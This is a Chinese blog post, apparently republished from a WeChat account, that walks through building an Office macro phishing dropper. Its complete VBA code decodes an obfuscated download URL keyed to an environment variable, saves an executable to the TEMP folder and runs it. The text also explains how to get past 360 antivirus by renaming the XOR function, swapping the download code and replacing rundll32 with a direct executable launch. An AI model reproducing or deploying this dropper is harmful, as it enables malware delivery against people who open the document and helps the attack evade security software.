office解密宏钓鱼

今天看到一篇主题是关于解密远程url地址，然后下载回本地进行rundll32调用的宏钓鱼文章，觉得挺有意思，就复现下。

office宏钓鱼就不多说了，在之前红蓝对抗之邮件钓鱼攻击 也有所提及。

常见的宏钓鱼手段，都是利用cobaltstrike直接生成，但是经常容易被杀掉，绕过手段也在上文提到，这次来了解下其他手段。

在“钓鱼文档碎碎念(三)”文章提到了原文作者的一些思路，但是没有给出完整的代码，这次本着学习vb的想法来看下这个宏钓鱼的流程。

首先把下载的恶意url利用环境变量进行xor编码：http://www.vbaexpress.com/kb/getarticle.php?kbid=951，这里使用的是大概率不变的环境变量（我本地win10也是这个值），PROCESSORREVISION：9e0a

原文作者把base64解码过的url放到宏中进行xor解码，但是解码出来是乱码，放到宏中有些不妥，甚至会无法识别：

因此这里我改成了把xor的值进行base64编码下，然后再base64解码：

Function GetByte(needle)
    Dim haystack
    haystack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    GetByte = InStr(1, haystack, needle, vbBinaryCompare) - 1
    If GetByte = -1 Then
        Err.Raise 513, "DecodeBase64", "Invalid character in base64 string"
    End If
End Function

Private Function DecodeBase64(strData)
    Dim i, inCount, outCount, firstTime
    Dim inArray(0 To 3) As Integer
    Dim outArray() As Byte

    If Len(strData) Mod 4 <> 0 Then
        Err.Raise 514, "DecodeBase64", "Base64 string length is not multiple of four"
    End If

    Rem Each quartet generates up to three bytes.

    firstTime = True
    While Len(strData) > 0
        Rem Get incoming values (up to "="), counting them.

        inCount = 0
        For i = 1 To 4
            If Mid(strData, i, 1) <> "=" Then
                inArray(i - 1) = GetByte(Mid(strData, i, 1))
                inCount = inCount + 1
            Else
                Exit For
            End If
        Next

        Rem Must have four non-"=" characters unless at end.

        If Len(strData) > 4 And inCount <> 4 Then
            Err.Raise 515, "DecodeBase64", "Base64 string has '=' characters in middle"
        End If

        Rem Must have at least two non-"=" characters.

        If inCount < 2 Then
            Err.Raise 516, "DecodeBase64", "Base64 string has invalid ending"
        End If

        Rem Work out output bytes based on input (2->1, 3->2, 4->3) and expand array.

        outCount = inCount - 1
        If firstTime Then
            ReDim outArray(outCount - 1)
            firstTime = False
        Else
            ReDim Preserve outArray(UBound(outArray) + outCount)
        End If

        Rem Add elements to output.

        outArray(UBound(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
        If outCount >= 2 Then
            outArray(UBound(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
        End If
        If outCount >= 3 Then
            outArray(UBound(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
        End If

        strData = Mid(strData, 5)
    Wend

    DecodeBase64 = outArray
End Function

变成下面这样：

解码出url后，下来回来，然后调用rundll32执行。

但是当我利用360查杀时，发现会提示宏病毒：

尝试进行删减部分代码，来判断具体被查杀的点，发现xor编码的函数会被查杀，因此修改XorC函数名，可以绕过360对xor函数的查杀。除了xor以外，发现下载文件的函数也被查杀了，因此网上随便找个下载文件的代码即可绕过。

最后成功调用rundll32执行下载回来的dll，虽然word文档不被查杀了，但是还是会被360查杀，会提示你调用rundll32了。

因此可以换个思路，不下载dll，而是直接下载个exe，然后利用shell去执行就行：

完成代码如下：

Option Explicit
Sub test()
    Dim sKey As String
    Dim payload As String
    Dim DownloadURL As String
    Dim Godownload As String
    Dim dllpath As String
    sKey = Environ("PROCESSOR_REVISION")
    payload = StrConv(DecodeBase64("eHh4UhJFEktgIE9PE0hQWw5aEFkIUglTAUNQWwteT1sFXQMYAl0O"), vbUnicode)
    DownloadURL = XororC(payload, sKey)
    dllpath = Downloadstring(DownloadURL)
    Godownload = Rundll(dllpath)
End Sub

Function Rundll(ByVal dllpath As String) As String
Shell (dllpath)
End Function

Function Downloadstring(ByVal DownloadURL As String) As String

Dim oStream As Object
Dim myURL As String
Dim savename As String
savename = "test.exe"
Dim dstPath As String
dstPath = Environ$("TEMP") & "" & savename

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", DownloadURL, False, "username", "password"
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile dstPath, 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End If

Downloadstring = dstPath
End Function

Function XororC(ByVal sData As String, ByVal sKey As String) As String
    Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
    Dim bEncOrDec As Boolean
    If Len(sData) = 0 Or Len(sKey) = 0 Then XororC = "Invalid argument(s) used": Exit Function

    If Left$(sData, 3) = "xxx" Then
        bEncOrDec = False
        sData = Mid$(sData, 4)
    Else
        bEncOrDec = True
    End If
    byIn = sData
    byOut = sData
    byKey = sKey
    l = LBound(byKey)
    For i = LBound(byIn) To UBound(byIn) - 1 Step 2
        byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
        l = l + 2
        If l > UBound(byKey) Then l = LBound(byKey)
    Next i
    XororC = byOut
    If bEncOrDec Then XororC = "xxx" & XororC
End Function

Function GetByte(needle)
    Dim haystack
    haystack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    GetByte = InStr(1, haystack, needle, vbBinaryCompare) - 1
    If GetByte = -1 Then
        Err.Raise 513, "DecodeBase64", "Invalid character in base64 string"
    End If
End Function

Private Function DecodeBase64(strData)
    Dim i, inCount, outCount, firstTime
    Dim inArray(0 To 3) As Integer
    Dim outArray() As Byte

    If Len(strData) Mod 4 <> 0 Then
        Err.Raise 514, "DecodeBase64", "Base64 string length is not multiple of four"
    End If

    Rem Each quartet generates up to three bytes.

    firstTime = True
    While Len(strData) > 0
        Rem Get incoming values (up to "="), counting them.

        inCount = 0
        For i = 1 To 4
            If Mid(strData, i, 1) <> "=" Then
                inArray(i - 1) = GetByte(Mid(strData, i, 1))
                inCount = inCount + 1
            Else
                Exit For
            End If
        Next

        Rem Must have four non-"=" characters unless at end.

        If Len(strData) > 4 And inCount <> 4 Then
            Err.Raise 515, "DecodeBase64", "Base64 string has '=' characters in middle"
        End If

        Rem Must have at least two non-"=" characters.

        If inCount < 2 Then
            Err.Raise 516, "DecodeBase64", "Base64 string has invalid ending"
        End If

        Rem Work out output bytes based on input (2->1, 3->2, 4->3) and expand array.

        outCount = inCount - 1
        If firstTime Then
            ReDim outArray(outCount - 1)
            firstTime = False
        Else
            ReDim Preserve outArray(UBound(outArray) + outCount)
        End If

        Rem Add elements to output.

        outArray(UBound(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
        If outCount >= 2 Then
            outArray(UBound(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
        End If
        If outCount >= 3 Then
            outArray(UBound(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
        End If

        strData = Mid(strData, 5)
    Wend

    DecodeBase64 = outArray
End Function

PS：

1、在依葫芦画瓢的时候，发现代码会提示你变量未定义，记得Dim来定义下，string就写string，object就写object。

2、function函数return的时候，就写functionname = 值 即可

本文始发于微信公众号（中国白客联盟）：office解密宏钓鱼